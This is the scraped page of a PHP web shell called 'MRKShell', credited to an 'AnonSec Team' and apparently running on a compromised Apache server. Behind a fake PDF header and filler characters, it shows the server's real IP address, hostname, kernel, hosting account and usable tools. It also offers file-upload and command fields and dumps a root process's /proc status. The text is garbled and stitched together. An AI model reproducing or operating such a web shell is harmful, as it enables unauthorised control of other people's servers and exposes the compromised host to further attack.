...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/2528030/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2528030/status
Name:	munin-node
Umask:	0022
State:	S (sleeping)
Tgid:	2528030
Ngid:	0
Pid:	2528030
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	10	10	10	10
FDSize:	64
Groups:	0 10 10 
NStgid:	2528030
NSpid:	2528030
NSpgid:	2528030
NSsid:	2528030
VmPeak:	  295064 kB
VmSize:	  295064 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   13396 kB
VmRSS:	   10764 kB
RssAnon:	    7812 kB
RssFile:	    2952 kB
RssShmem:	       0 kB
VmData:	    9112 kB
VmStk:	     132 kB
VmExe:	       4 kB
VmLib:	    7880 kB
VmPTE:	     140 kB
VmSwap:	    1328 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	1/254825
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000001080
SigCgt:	0000000180314007
CapInh:	0000000000000000
CapPrm:	000001ffffffffff
CapEff:	000001ffffffffff
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffffffff
Cpus_allowed_list:	0-31
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	390299
nonvoluntary_ctxt_switches:	567

Anon7 - 2022
AnonSec Team